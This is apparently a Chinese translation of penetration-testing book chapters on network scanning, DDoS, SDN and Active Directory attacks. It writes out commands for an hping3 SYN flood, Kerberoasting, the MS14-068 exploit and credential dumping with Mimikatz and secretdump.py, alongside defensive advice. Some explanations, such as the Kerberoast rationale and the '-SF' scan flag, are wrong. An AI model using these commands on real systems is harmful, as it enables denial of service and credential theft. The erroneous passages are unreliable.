  • 应用层:此层包含软件应用程序所需的所有服务。

  • 表示层:这一层主要负责数据的呈现方式。操作可能包括压缩和加密。

  • 会话层:此层提供主机之间的通信程序(开始会话,重新启动,终止等)。

  • 传输层:此层管理发送数据的可靠性传输。

  • 网络层:此层处理数据的路由操作,特别是使用逻辑地址(称为 IP 地址)在网络之间传输数据包。路由器是网络层设备。

  • 数据链路层:此层负责为组织网络建立连接。它包含两个不同的子层:逻辑链路控制LLC)用于流量控制和纠错,以及媒体访问控制MAC)确定帧的流动。交换机是数据链路层设备。

  • 物理层:该层处理数据的硬件手段(电缆、电气方面等)的移动(发送和接收)。例如,集线器是一个物理层设备。

从数据到位的移动过程称为封装。相反的操作称为去封装。

OSI 模型如下所示:

深入的网络扫描

扫描是黑客过程中的重要步骤。在本节中,您将学习如何扫描和映射网络。网络扫描的目的是识别活动主机,包括它们的网络服务。但在深入研究网络扫描技术之前,让我们从基本的 TCP 通信序列开始。

TCP 通信

传输控制协议TCP)是最著名的互联网协议之一。它用于可靠的主机到主机通信,是一种面向连接的协议。这意味着连接保持到消息完全传输。TCP 通信由称为控制位的 TCP 标志处理,以结构化格式称为 TCP 头。控制位包括 URG、SYN、PSH、RST 和 FIN

  • SYN:开始连接

  • ACK:确认接收

  • RST:重置连接

  • FIN:完成接收

  • URG:表示紧急处理

  • PSH:立即发送

数据交换是通过三次握手技术完成的,如下所示。第一步是客户端向服务器发送一个SYN数据包。如果目标端口是打开的,服务器将以SYN-ACK数据包做出响应。最后,服务器接收到一个ACK数据包,连接建立:

ICMP 扫描

Internet Control Message ProtocolICMP)类似于 TCP 协议;两者都支持互联网协议套件中的协议。ICMP 用于检查活动系统;ping 是使用 ICMP 请求的最著名的实用程序。其原理非常简单——ICMP 扫描向主机发送请求,并等待回显请求以检查系统是否存活。这里显示了 ping 扫描的示例:ping <target>

ping 扫描是一种 ICMP 扫描技术,但它扫描一系列 IP 地址。

有许多 TCP 服务扫描技术,例如:

  • 全开放扫描:当三次握手完成时执行此操作(完整连接)。

  • 半开放扫描:有时被称为隐形扫描,只执行三次握手的前半部分。

  • FIN 扫描:在 FIN 扫描期间,攻击者发送一个 FIN 数据包。如果没有响应,那么端口是打开的,或者已被放置的防火墙拦截。

  • NULL 扫描:要执行 NULL 扫描,攻击者发送一系列不带标志的 TCP 数据包。如果端口是打开的,目标将丢弃数据包。

SSDP 扫描

简单服务发现协议SSDP)是用于发现直接连接设备的网络协议。该协议使用 UDP,使用即插即用设备以交换数据。它在端口1900上运行。

UDP 扫描

用户数据报协议UDP)是互联网协议套件的一部分。它是 TCP 的替代方案,但不可靠。它只是发送数据包而不等待确认。UDP 头有四个 2 字节字段:

  • 源端口

  • 目的地端口

  • UDP 长度

  • UDP 校验和

在 UDP 扫描期间,将 UDP 数据包发送到主机的 UDP 端口。如果没有响应,那么端口是打开的,否则将收到“目的地不可达”的错误。

Nmap是最著名的开源网络发现和映射工具。它是一个非常灵活、强大且文档完备的实用工具。您可以从以下网址下载:nmap.org/download.html

以下截图显示了 Nmap 的图形用户界面模式Zenmap的主界面:

要使用 nmap,只需使用以下命令:

nmap <options> <Target>

这是网络扫描中一些有用的选项:

  • -p:用于扫描一个端口

  • -F:用于快速扫描(使用最常见的端口)

  • -p-:用于扫描所有端口

  • -sT:用于 TCP 扫描

  • -sU:用于 UDP 扫描

  • -A:用于识别操作系统和服务

  • -sN:用于空扫描

  • -SF:用于 FIN 扫描

此外,您可以使用一个 Nmap 脚本(.nse),例如:nmap -sV -p 443 –script=ssl-heartbleed.nse <目标>

入侵检测系统

入侵检测系统(IDS)用于保护组织网络的受限访问。它们可以由软件或硬件组成。有两种类型的 IDS:

  • 基于主机的入侵检测系统:该系统跟踪主机的行为,以便发现任何可疑活动

  • 基于网络的入侵检测系统:该系统分析网络流量以发现任何入侵并产生警报

IDS 使用两种检测方法:

  • 基于签名的检测:与防病毒产品类似,这种检测基于预定义的模式,如序列和签名。

  • 基于异常的检测:这种检测方法基于活动行为。它是一种动态方法,根据先前已知的攻击检测异常和可疑活动。

用于入侵检测的机器学习

机器学习显然是当前科技行业最热门的趋势,这要归功于许多组织收集的大量数据。它非常强大,可以基于大数据做出决策和预测。欺诈检测、自然语言处理、自动驾驶汽车和图像识别是机器学习应用的一些例子。机器学习是统计学、计算机科学、线性代数和数学优化方法的结合。以下图表说明了传统编程和机器学习之间的区别:

机器学习是研究和创建能够从数据中学习并进行预测的算法。根据卡内基梅隆大学(CMU)的教授汤姆·米切尔(Tom Mitchell)的说法,如果计算机程序在某类任务 T 的性能 P,随着经验 E 的增加而提高,那么就说它从经验 E 中学习。例如,在语音识别中,任务 T 是正确识别单词,性能度量 P 是成功识别的单词数量,经验 E 是一组口语单词的数据集。机器学习可以分为四种模型:监督学习、无监督学习、半监督学习和强化学习。

监督学习

监督学习用于当我们有输入变量(I)和输出变量(O)时,需要将函数从输入映射到输出,作为学习算法。监督学习可以分为两类:分类,当输出是一个类别时使用;回归,当输出是一个实际值时使用。以下是一些监督机器学习算法:

  • 决策树:决策树是一种机器学习算法,它使用类似树状图的结构和可能的输出。这些输出可以是 YES/NO 或连续变量。这个算法有四个重要术语:

    • 根节点:这代表所有数据
  • 分割:这是将节点分成子节点的操作

  • 决策节点:这可以分成其他子节点

  • 叶节点:这是最终可分割的节点(也称为终端节点)

  • 朴素贝叶斯分类:朴素贝叶斯分类器是基于贝叶斯定理的多个概率分类器,用于预测给定样本的类别。例如,它用于检查电子邮件是否为垃圾邮件。以下是贝叶斯定理:

  • 支持向量机支持向量机SVM)是一种二元分类算法。它用于找到我们称之为分离超平面的分离数据。它被定义为一个超平面,而不是一个简单的线,因为我们谈论的是多维空间。

无监督学习

无监督学习在只有输入数据(X)而没有相应输出变量的情况下非常有用。无监督学习算法的一个例子是聚类,即将一组对象分组,使得同一组(簇)中的对象彼此之间的相似性大于与其他组中的对象的相似性,如下所示:

半监督学习

半监督学习是在我们有大量输入数据(I)和少量输出变量(O)时使用的。我们可以将其视为介于监督学习和无监督学习之间,因此我们可以使用这两种模型中的技术。

强化

强化是在基于与环境的交互中改善其性能的代理或系统中使用的,包括奖励函数。

机器学习系统的工作流程

每个机器学习项目都应该遵循特定的步骤来实现其目标。第一步是数据处理——在这一步中,我们需要从原始数据中提取有意义的特征。这一步非常关键,因为需要良好的特征工程来构建一个好的机器学习模型。处理完数据后,我们必须训练并选择最适合我们情况的预测模型。最后,在训练模型后,评估是一个重要的过程,我们在这一过程中检查训练模型预测新数据的准确性和性能。

基于机器学习的许多入侵检测系统已经开始出现。它们可以为检测未知威胁提供很好的解决方案,同时网络安全工程师可以从收集的数据中提取有用的特征并构建机器学习模型。信息安全专业人员和数据科学爱好者可以自由选择最方便的机器学习算法和模型,因此有各种探索过的机器学习入侵检测系统可用。其中之一是人工神经网络,特别是深度学习。

人工智能AI)需要计算机模仿人类大脑的认知功能。第一个人工神经网络是在 1960 年左右引入的,2006 年,Geoffrey Hinton 提出了神经网络的第一个实现。人工神经网络的工作方式类似于人类大脑;它们由许多线性连接的神经元组成。它们接受输入并决定类别作为输出;换句话说,人工神经网络模拟了大脑的信息处理方式。人工神经网络试图像大脑一样工作,但大脑是如何工作的呢?

为了理解单层神经网络的工作原理,我们将比较生物神经元和人工感知器。神经元是神经系统的一部分,包括大脑。它使用电化学信号传递信息。典型的神经元具有从其他细胞传播信息到包含细胞核和单个轴突的细胞体的树突。

使用大脑行为的类比,人工神经元的行为方式与生物神经元相同,因此输入是一个通常与输出节点完全连接的多变量向量。输出节点取所有输入的和,并应用我们称之为激活函数的函数。激活函数类似于一个决策函数,它选择要传递的内容和要阻止的内容。

多层神经网络是具有至少三层节点的人工神经网络;它们包含许多感知器。中间的层被称为隐藏层。

有许多类型的人工网络:

  • 卷积神经网络CNN):通过输入层传递大量信息可能会导致问题,例如,在图像识别中传递大图像的每个像素并不是一个有效的解决方案。这就是为什么我们需要一种称为卷积神经网络的神经网络类型,它由卷积层和池化层(有时称为采样层)以及输入和输出层组成。

  • 递归神经网络RNN):RNN 是一种神经网络,用于输入是顺序信息且输入和输出彼此独立的情况。通常,它非常受欢迎,用于处理自然语言处理任务。RNN 具有一个记忆,可以捕获到目前为止计算的信息。

机器学习模型评估指标

要评估机器学习模型,我们需要一些指标。有许多衡量分类性能的方法。准确率、F1 分数、精确度、召回率是评估机器学习模型的一些常用指标。它们是基于四个参数计算的:假阳性、假阴性、真阳性和真阴性。混淆矩阵是一个经常用来描述分类模型性能的表,基于讨论的四个参数。

服务枚举

服务枚举是从目标中提取有关正在运行的服务的信息的操作,以探索可能危害系统的攻击向量,例如机器的主机名、网络服务、服务设置以及有关 SNMP 和 DNS 的详细信息。以下各小节详细讨论了如何枚举和利用两种不同的网络服务:SNMP 和 DNS。

不安全的 SNMP 配置

简单网络管理协议SNMP)是一种管理网络设备的协议;它运行在UDP上。每个网络设备都包含一个连接到独立 SNMP 管理器的 SNMP 代理。该协议使用两个认证密码:第一个是用于查看配置的公钥,第二个是用于配置设备的私钥。网络节点存储在名为管理信息库MIB)的数据库中,以树结构的形式。例如,攻击者可以枚举 SNMP 服务以检查默认的 SNMP 密码或对其进行暴力破解。

Nmap 在 SNMP 渗透测试中非常有用,因为它加载了非常有用的.nse脚本,例如:

  • snmp-info.nse

  • snmp-netstat.nse

  • snmp-brute.nse

  • snmp-interfaces.nse

  • snmp-processes.nse

要防御 SNMP 攻击,我们需要:

  • 更改默认密码

  • 阻止对 UDP 端口161的访问

  • 使用 SNMPv3 解密密码

  • 仅使用所需的 SNMP 代理

DNS 安全

域名系统DNS)是由美国科学家 Paul Mockapetris 和 Jon Postel 于 1983 年开发的。我们都知道使用 IP 地址记住网站很困难,因此需要更简单的命名服务。这就是 DNS 的目标,它提供了基于名称而不是 IP 地址的命名结构。这里的图表显示了 DNS 的不同步骤:

DNS 数据分布在全球许多位置,基于特定的层次结构,以确保更快的信息传输。一般来说,我们有根域(13)、顶级域和二级域:

完全合格域名FQDN)格式为:<主机名>.<域名>

要测试区域传输,可以使用主机实用程序:

DNS 攻击

DNS 面临着各种恶意攻击。以下是一些 DNS 攻击:

  • 单点故障:一个故障可能导致整个系统同时停止

  • 中间人(MITM)攻击:在此攻击期间,攻击者拦截流量

  • DNS 缓存投毒:在这里,攻击者将受害者重定向到恶意服务器

  • Kaminsky DNS 漏洞:这个漏洞可能允许攻击者将网络客户端重定向到他自己选择的备用服务器,可能是出于不良目的

  • 动态 DNS(DDNS):恶意软件开发者使用 DDNS 快速更改地址

  • 分布式拒绝服务(DDoS)攻击:攻击者会向目标系统发送未处理的请求

嗅探攻击

嗅探是通过将网络接口卡NIC)切换到混杂模式来拦截网络流量的过程,以便能够嗅探传输的数据。有两种类型的网络嗅探 - 主动和被动嗅探:

  • 被动嗅探:这发生在集线器设备或交换机上,而不需要注入任何额外的数据包。

  • 主动嗅探:通过向网络中注入地址解析协议ARP)数据包来完成。以下是一些主动网络嗅探攻击:

  • MAC 洪水攻击 - 这是将 CAM 表用随机数据淹没直到其满的过程

  • 交换机端口窃取

这两种先前的攻击可以通过只允许交换机端口上的一个 MAC 地址并实施端口安全来避免。

  • ARP 毒化:ARP 用于解析 MAC 地址。攻击者可以伪造 ARP 请求来淹没交换机。当他们淹没 ARP 缓存时,就称为毒化。

  • MAC 欺骗:这是嗅探 MAC 地址并在另一个上下文中使用它的行为。为了防御这种攻击,您需要阻止未在绑定表中提到的流量。这是一个图解的嗅探攻击

通常,为了防御嗅探攻击,我们需要按照以下步骤进行:

  • 使用安全协议,如 SFTP 和 HTTPS,而不是 FTP 和 HTTP

  • 使用 SSH 和安全协议(IPSec)

  • 从网络接口卡识别 MAC 地址

  • 始终检查是否有一台机器正在使用混杂模式

  • 部署 IDS

Wireshark 是一个用于故障排除网络问题的知名工具。要下载它,请访问 www.wireshark.org/download.html

选择您的版本并将其安装在您的计算机上:

恭喜!您可以使用它来分析网络上的所有流量。选择您的网络卡:

现在,你已经准备好去探索它了:

DDoS 攻击

DDoS 攻击发生在被感染的设备淹没目标系统的网络流量时。这种类型的攻击威胁了系统的可用性。在涉及 DDoS 攻击时,有四种攻击向量:

  • 容量攻击:这会使用组织的带宽来淹没受害者。

  • 分段攻击:这种攻击利用数据报分段机制,阻止分段数据包的重新组装。也称为 TearDrop 攻击。

  • TCP 状态耗尽攻击:这种攻击耗尽了 Web 服务器、负载均衡器和防火墙支持的并发连接数。

  • 应用层攻击:利用应用程序的弱点来禁用服务。如下图所示,攻击者利用被感染的主机(也称为僵尸)对目标进行 DDoS 攻击。

DDoS 攻击类型

SYN 洪水攻击:当攻击者发送 SYN 请求而不回复确认时,就会发生这种情况。

ICMP 洪水攻击:这是向服务器发送 ICMP 请求而不等待响应的过程。Smurf 攻击、ICMP 洪水和 ping 洪水是 ICMP 洪水攻击的形式。作为演示,您可以尝试使用以下命令的 hping3 实用程序:

hping3 -S --flood -V www.example.com

其中 -flood 表示洪水模式(发送请求而不等待响应),-S 代表 SYN 请求选项:

应用洪水攻击:这种攻击针对应用程序,以便丢失或降低在线服务。攻击会淹没应用程序,使其无法正确处理请求。

僵尸网络:这些是一组被攻陷的机器,通常由命令和控制C2C)通道控制。

对抗 DDoS 攻击

以下是一些用于对抗DDoS攻击的对策:

  • 实施检测机制,特别是信号分析技术

  • 部署高可用解决方案和冗余资源

  • 禁用非必需的服务

  • 流量模式分析

DDoS 清洗中心

在数据中心规模上,实施 DDoS 清洗中心是防御 DDoS 攻击的明智决定,其中流量被分析,正常流量被传回网络。通常,这个中央站被大规模企业如互联网服务和云提供商使用:

软件定义网络渗透测试

软件定义网络SDN)是一种具有集中式完全可编程控制器的网络架构,该控制器可以看到网络的所有路径和设备的视图。这就是为什么它被认为是一个单一的配置点。这种巨大的自动化转变为企业网络增加了巨大的价值。下图表示了不同的 SDN 层以及它们之间的交互:

在经典的网络堆栈中,每个组件都实现了两个方面:控制和数据实体。但在 SDN 中,我们隔离了这两个面板。以下图表说明了两种网络方法之间的差异:

有三种主要的 SDN 模型:

  • 网络虚拟化模型

  • 进化模型

  • OpenFlow 模型

典型的 SDN 架构由以下三个主要组件组成:

  • SDN 控制器:这是一个智能的逻辑实体,负责控制应用程序和设备之间的操作,以维护对企业网络的全局视图

  • SDN 网络设备:这些设备负责在网络中转发和处理数据

  • SDN 应用程序:这些是通过 API 向 SDN 控制器发送所需操作的程序

SDN 攻击

这种新的网络模型是最近的,但现在它是攻击者的高价值目标。正如之前讨论的,我们说单一的控制点对资产来说是一个巨大的威胁。SDN 带来了单一的控制点;这就是为什么伟大的力量伴随着伟大的责任。如果攻击者成功地 compromise 了一个 SDN,他们将控制整个网络。另一个攻击向量是 SDN 应用程序;最终,它们是程序,因此任何软件故障或糟糕的编写代码都可能导致系统妥协。DDoS 攻击和嗅探也是对 SDN 造成真正威胁的东西,可以破坏整个网络。以下插图描述了不同模型层中的一些攻击:

SDN 渗透测试

作为渗透测试人员,您的角色是模拟 SDN 攻击,以尝试识别弱点。目前有许多 SDN 渗透测试框架。

DELTA:SDN 安全评估框架

DELTA:SDN 安全评估框架是基于攻击场景的安全框架。它还提供了在未知 SDN 攻击情况下的模糊技术。它包含以下四个代理,如下所示:

  • Agent Manager

  • 应用程序代理

  • Channel Agent

  • 主机代理

您可以使用以下命令通过 GitHub 克隆 DELTA 框架:

$ git clone https://github.com/OpenNetworkingFoundation/DELTA.git 

这是 DELTA 框架的主要架构:

SDNPWN

SDNPWN 是一个用于测试 SDN 安全性的工具包。它提供了一个简单的命令行工具来测试 SDN 攻击。要下载 SDNPWN,您可以通过输入以下命令克隆存储库:

git clone https://github.com/smythtech/sdnpwn

您可以在执行脚本后使用工具包。

./sdnpwn.py <module name> <module options>

您可以通过执行其模块来选择攻击。这些是一些可用的模块:

[*] 可用模块:``[+] arpmon``[+] controller-detect``[+] dp-arp-poison``[+] dp-mitm``[+] help``[+] host-location-hijack``[+] info``[+] lfa-relay``[+] lfa-scapy``[+] lldp-replay``[+] mods``[+] of-gen``[+] of-switch``[+] phantom-host-scan``[+] phantom-storm``[+] sdn-detect``[+] system

数据库服务器的攻击

数据库是每个组织中至关重要的组成部分。它们是攻击者的严重目标,因为它们包含敏感数据。数据库面临许多严重的威胁;以下是一些数据库攻击:

  • 过多的权限:这是一种攻击,攻击者获得未经授权的权限来访问机密信息。

  • SQL 注入:这是一种利用 Web 应用程序中的漏洞进行的服务器端攻击,以发送未经授权的数据库查询。

  • 弱身份验证:攻击者可以利用社会工程攻击和暴力破解来访问密码弱的情况。

  • 备份数据的暴露:非加密备份对组织构成真正的危险。所有备份都需要加密。

总结

在本章中,我们介绍了通过理解网络概念和实际经验来保护组织网络的基本技能,以应对网络入侵。本章不仅使您能够抵御现代网络攻击,还使您能够准备好保护下一代网络技术,以 SDN 为案例研究。下一章将带您了解现代企业中的另一个重要组成部分。您将面临 Microsoft Active Directory 的威胁,并通过获得需求量大的技能来保护 Active Directory 而变得更加强大。

第四章:活动目录利用

在上一章中,我们探讨了如何利用组织的网络。我们从网络基础知识到发现最新的攻击方法。本章是您获取有关保护现代公司另一个重要技术系统的更多知识的下一步,即活动目录的下一步。我们将带您进入另一个层次的经验,按照一个精心设计的计划获取保护另一个环境所需的技能。

本章将涵盖以下主题:

  • 学习活动目录和凯伯罗斯的概念

  • 各种活动目录攻击的概述

  • 学习哪些防御措施是有效的,以及它们如何缓解当前的攻击

活动目录

目录是一本按字母顺序或主题排序的列出个人或组织的书,包括姓名、地址和电子邮件等详细信息。换句话说,目录包含存储和结构化的对象,以便轻松访问和操作这些对象。在小规模组织中,如果您需要一个文件,您需要知道文件存储在哪个服务器上以及其完整路径。这在小型环境中有效,但在中大型公司中并不实用。因此,使用这种方式定位文件可能是一个真正的挑战。问题并不止于此,因为我们知道每个用户可能有许多访问凭据,如密码,这使得管理所有凭据变得困难,如果数量很大的话。这就是为什么需要一个目录服务来定位资源而不知道完整位置的原因。以下图表说明了一个分层目录的示例。

微软活动目录提供了一个用于管理和解决这些挑战的目录服务。它还具有许多其他功能和能力。如今,活动目录在许多现代组织和机构中扮演着重要角色。沟通对于业务来说是一个关键的方面,而目录服务是一个明智的选择,因为它作为所有所需信息的单一容器点。活动目录基于客户端/服务器架构。以下图表显示了活动目录用户的一个示例。

活动目录由以下四个组件组成:

  • 活动目录森林:这是一个充当顶级容器的活动目录实例

  • 活动目录域:这是管理定义的对象的集合

  • 活动目录单元:您可以使用这些容器对象来以支持您的管理目的的方式排列其他对象

  • 站点:这些是对象的容器

这个插图显示了活动目录森林和树的一个示例:

单点登录

单点登录(SSO)是一种集中的方法,通常由认证服务器代表,允许许多系统以高效的方式进行身份验证,无需记住不同的密码。这种机制还通过提供单一的身份验证点来提高开发人员的生产力,因此他们不必担心这一部分,可以专注于更重要的任务。SSO 解决方案很棒,但正如前几章讨论的那样,单一点是攻击者的一个有吸引力的目标。以下图表显示了单点登录是如何简化身份验证的。

凯伯罗斯身份验证

Kerberos 是 RFC 1510 下的认证协议,从本世纪初起就集成在 Windows 操作系统中。它是由麻省理工学院MIT)在 Athena 项目下开发的。您可以通过其官方网站www.kerberos.org进行检查和测试。Kerberos 环境包含三个部分:客户端、服务器和密钥分发中心KDC),如下图所示。它提供了基于身份的密钥分发模型,由 Needham 和 Schroeder 提出:

Kerberos 需要以下五个步骤才能进行:

  1. 需要从认证服务器 KDC 请求认证

  2. KDC 发送一个使用发送者的秘密密钥加密的会话,以及一个使用票据授予服务加密的票据授予

  3. 然后接收者解密会话并从票据授予服务请求权限

  4. 如果会话有效,票据授予服务将发送一个客户端/服务器会话以授予对资源的访问权限,以及一个使用资源密钥加密的服务票据

  5. 资源验证会话并授予客户访问权限

Kerberos 提供了一个很好的认证解决方案,但它将密钥以明文形式存储,这对组织构成了巨大的威胁。事实上,如果攻击者能够访问 KDC,他们将会破坏所有密钥。以下图表显示了 Kerberos 操作的不同步骤:

轻量级目录访问协议

Active Directory 使用轻量级目录访问协议LDAP)作为访问协议,依赖于 TCP/IP 协议栈。LDAP 支持 Kerberos 认证。

该协议使用倒置树层次结构,因此每个条目都有一个定义的位置。这种结构称为目录信息树DIT)。Distinguished NameDN)表示条目的完整路径。

以下图表表示用户(通用名称CN))之间的不同交互。过滤组被限制在一些应用程序中:

PowerShell 和 Active Directory

PowerShell 是一个自动化框架,为系统管理员提供了许多执行任务的能力。它支持脚本语言。脚本中的每个命令都被称为cmdlet。您可以使用.NET 编程语言构建自己的 cmdlet。这里给出了一个解释:

要查看一个森林,您可以使用get-adforest cmdlet,如下所示:

要检查所有命令,请输入:Get-Command,如下所示:

要检查域,您可以使用Get-ADDomain,如下所示:

要检查森林的信任,您需要使用get-adtrust,如下所示:

get-aduser用于获取指定用户,如下所示:

PowerShell 在许多情况下被用作攻击平台,原因如下:

  • 在内存中运行代码而不触及磁盘

  • 它从另一个系统下载并执行代码

  • 它与.NET 和 Windows API 进行交互

  • 大多数组织都没有监视 PowerShell 活动。

  • CMD.exe通常被阻止,尽管 PowerShell 没有被阻止

Active Directory 攻击

Active Directory 是攻击者的高调目标。由于其常见的架构(单一点),它是一个被攻击的系统。有许多 Active Directory 攻击。它是一个复杂的系统,因此以下小节将讨论来自不同攻击向量的不同类型的攻击。

PowerView

侦察是信息安全中至关重要的一步。PowerView 是一个令人惊叹的侦察工具-它是一个域网络态势感知工具。您可以从github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1获取它。

像往常一样,克隆项目或简单地将其下载为.zip文件,如下所示:

git clone https://github.com/PowerShellMafia/PowerSploit.git

PowerView 将使您能够执行许多侦察任务,如下所示:

  • 用户Get-NetUser

  • Get-NetGroup

  • 会话Get-NetSession

  • GPO 位置Find-GPOLocation

  • Active Directory 对象Set-ADObject

  • ForestsGet-NetForest

Kerberos 攻击

如前几节所讨论的,Kerberos 是攻击者的高价值目标。但在深入研究 Kerberos 攻击之前,让我们先了解一些 PowerShell 的功能。

  • get-adrootdse:用于获取根对象,如下所示:

  • get-adforest:用于检查 Active Directory forests,如图所示:

  • get-domaincontroller:列出域控制器,如图所示:

  • 要获取 Active Directory 计算机,请使用get-adcomputer,如图所示:

  • get-adgroupmemberb:获取 AD 组成员,如图所示:

在深入研究 Active Directory 攻击技术之前,让我们先了解 PowerShell 作为攻击平台的一些功能。为此,我们将以 PowerShell Empire 作为演示,因为它是一个创建代理以妥协系统的绝佳工具:

#git clone https://github.com/EmpireProject/Empire

导航到cd Empire/setup并运行./install.sh脚本:

等待安装完成:

现在,您已经准备好使用 PowerShell Empire 了:

如果您想生成一个代理,只需输入usemodule external/generate_agent

Kerberos TGS 服务票证离线破解(Kerberoast)

如前几节所讨论的,Kerberos 使用票证进行身份验证,这得益于基于对称密钥密码学的受信任的第三方。最常见的攻击之一是 Kerberos TGS 服务票证离线破解,也称为 Kerberoast。使用这种技术,攻击者利用了大多数服务账户密码与域密码长度相同的事实。换句话说,您不需要暴力破解两个密码,因为大多数服务账户的密码不会过期。为了减轻这种攻击,您需要确保服务账户密码长度超过 25 个字符。这些是 TGS 的步骤

SPN 扫描

服务主体名称SPNs)表示特定可发现服务的实例,例如 HTTP、LDAP 和 SQL。它们由 Kerberos 用于将服务与服务账户连接起来。您可以扫描这些服务,而无需执行端口扫描,因为 SPNs 可以表示为例如MSSQLSvc/<domain>:31703170是端口号)。

如果要使用 Microsoft 内置工具检查所有 SPN 服务,只需输入setspn -Q */*

要检索 AD 票证,请输入:> $ticket = Get-TGSCipher -SPN <SPN_service_Here>

要破解票证,您可以使用约翰·里帕,这是一个众所周知的密码破解实用程序,如图所示:

SYSVOL 和组策略首选项中的密码

这种攻击比以前的攻击简单得多。要从域用户升级为域管理员,攻击者只需搜索域 SYSVOL DFS 共享中的 XML 文件。SYSVOL 是 Active Directory 中的域范围共享,所有经过身份验证的用户都可以读取。

14-068 Kerberos 漏洞在域控制器上

要利用 MS14-068 Kerberos 漏洞,您可以使用一个名为PyKEK的 Python 脚本,即 Kerberos 利用工具包,将 TGT 注入内存,如图所示。从 GitHub 存储库克隆 python 脚本github.com/bidord/pykek

现在,您可以使用以下格式的脚本:

ms14-068.py -u <userName>@<domainName> -s <userSid> -d <domainControlerAddr>

使用 Mimikatz 转储所有域凭据

转储凭据是信息安全中的一种经典技术。转储域凭据是众所周知的 Active Directory 技术之一。可以借助一个名为Mimikatz的强大实用程序来实现这一技术,该实用程序由 Benjamin Delpy 开发。您可以从其官方 GitHub 存储库github.com/gentilkiwi/mimikatz下载。

要构建 Mimikatz,您需要使用 Visual Studio 进行构建。在我的情况下,我使用的是 Visual Studio 2015 专业版。如果您想直接使用二进制文件,请从github.com/gentilkiwi/mimikatz/releases/tag/2.1.1-20171203下载:

以下截图显示了 Mimikatz 的主界面:

现在,让我们发现一些 Mimikatz 命令和实用程序。

  • CRYPTO::Certificates:列出和检查证书,如下所示:

  • TOKEN::Elevate:检查域管理员,如下所示:

  • TOKEN::Elevate/domainadmin:模拟具有域管理员凭据的令牌:

传递凭据

传递凭据是一种简单易行的技术,可以发现 NTLM 散列密码,而无需使用大量计算资源进行破解。尽管 Windows 不支持通过网络传递散列,但您可以作为渗透测试人员尝试Pass-the-TicketPtT)技术,这是获取票证并以非合法方式使用它的过程。此图显示了 NTLM 身份验证流程:

使用任务管理器转储 LSASS 内存(获取域管理员凭据)

内存转储是一种经典技术,用于恢复一些隐藏的信息,包括密码和凭据。其中一种 Active Directory 技术是使用任务管理器转储 LSASS 内存。 Mimikatz 具有很强的功能,比如前面讨论过的功能之一是从LSASS.dmp文件中转储 LSASS 内存,如下所示:

如果操作成功,您将收到此消息:

从 NTDS.dit 文件中转储 Active Directory 域凭据

威胁 Active Directory 环境的另一种转储技术是从NTDS.dit文件中转储凭据(Active Directory 数据存储在NTDS.dit中)。可以使用名为secretdump.py的 Python 脚本提取 Active Directory 凭据。它内置于 Kali Linux 环境中,或者您可以从此链接下载:github.com/CoreSecurity/impacket

#git clone https://github.com/CoreSecurity/impacket

您可以在examples文件夹中找到该脚本,以及许多其他有用的脚本:

要检索数据,请键入:

secretdump.py -system /opt/system.hive -nt 

总结

本章讨论了最常见的现实世界 Active Directory 威胁。我们从 Active Directory 的基本术语和组件开始,了解了最新的 Active Directory 攻击以及防御所需的步骤。下一章将探索 Docker 的世界。您将学习如何构建安全的 Docker 化环境。

第五章:Docker 开发

在学习了如何利用和保护 Active Directory 之后,让我们继续我们的旅程。本章将带您了解 Docker 容器的不同方面。在本章中,我们将从安装和配置 Docker 到利用它的基础知识。您还将通过学习如何构建完整的渗透测试实验室来一窥 Docker 容器的威力。

本章将涵盖以下主题:

  • Docker 威胁

  • Docker 突破

  • 构建 Docker 渗透测试实验室

Docker 基础知识

Docker 凭借其功能和有前途的服务在现代组织中迅速传播开来。这是一个开源项目,采用 Apache 2.0 许可证,允许开发人员打包他们的应用程序,而不必担心依赖问题,这在现代应用程序开发中产生了巨大影响。自 2013 年 3 月开发以来,它使开发人员能够专注于他们的产品,而不是浪费时间解决库问题。因此,Docker 的三个主要原则是:开发、交付和运行。这三个术语解释了 Docker 的主要概念。开发人员只需开发他们的应用程序,Docker 将处理其余部分,换句话说。它允许他们交付应用程序并在任何系统中部署它们。有关容器管理服务的更多信息,请访问项目官方网站www.docker.com,如下所示:

虚拟化

在深入探讨 Docker 的魔力之前,让我们回到过去,发现这一切是如何发生的以及为什么会发生。正如他们所说,需求是发明之母,许多年前技术人员面临着一个巨大的问题,被称为冰山问题;他们注意到组织只使用了其总技术资源的 30%。因此,提出了对资源进行优化的新方法的需求。这就是虚拟化这个术语出现的时候。虚拟化是基于将大规模资源分解为小资源的原理。这不仅是管理资源的好方法,而且隔离方法增加了一层保护,除了许多其他优点,例如:

  • 降低成本(一个硬件上的多个主机)

  • 简单管理

  • 将资源分隔为逻辑上的独立虚拟机

要实现所有这些,需要一种名为虚拟机监视程序的软件。它是一种管理所有虚拟化方面的软件。它位于硬件和软件之间。虚拟机监视程序的基本作用是通过为操作系统分配所需的资源来管理资源。虚拟机监视程序有两种主要类型:

  • 类型 1:这种类型的虚拟机监视程序直接在硬件的裸金属上运行,例如 VMware ESXi 和 Xen

  • 类型 2:这种类型的虚拟机监视程序在操作系统上运行,例如 VMware Workstation 和 Sun VirtualBox

以下图表说明了两种类型的虚拟机监视程序之间的区别:

云计算

近年来,云计算取得了惊人的增长。这种计算范式基于资源池,为客户提供可伸缩性和一长串的服务。它降低了成本,客户只支付他们使用的部分,提供电费或其他服务。换句话说,你按需付费。这种托管计算基础设施提供了不同的本地环境和服务,如存储、网络、应用程序、服务器和其他现代组织中所需的许多服务。我们可以将云计算模型分为以下三种模型:

  • 软件即服务SaaS):客户可以访问托管在云中的最终用户应用程序

  • 平台即服务PaaS):客户可以访问运行时环境和处理平台

  • 基础设施即服务(IaaS):客户可以访问虚拟化基础设施,包括服务器、存储和网络

以下图表简要描述了不同的模型:

当我们谈论云计算时,组织可以从三种类型的云计算中受益:

  • 公共云

  • 私有云

  • 混合云

云计算安全挑战

云中托管的信息是恶意攻击者的一个吸引人的目标。这就是为什么了解云安全问题并知道如何解决它们至关重要。根据 2017 年的云安全报告,超过 35 万名信息安全专业人员认为数据保护是采用云计算的头号关注点。在涉及云计算时,窃取敏感信息确实是一个严重的问题。从 2018 年开始,根据欧盟《通用数据保护条例》(GDPR),欧洲公司将面临对内部数据流的限制,并且如果他们不遵守新规定可能会被罚款数百万美元。加密始终是保护敏感云数据的一个很好的解决方案。弱身份验证和缺乏良好的身份管理是最大的云威胁之一。应该采用双因素身份验证机制,使黑客攻击变得更加困难。

Docker 容器

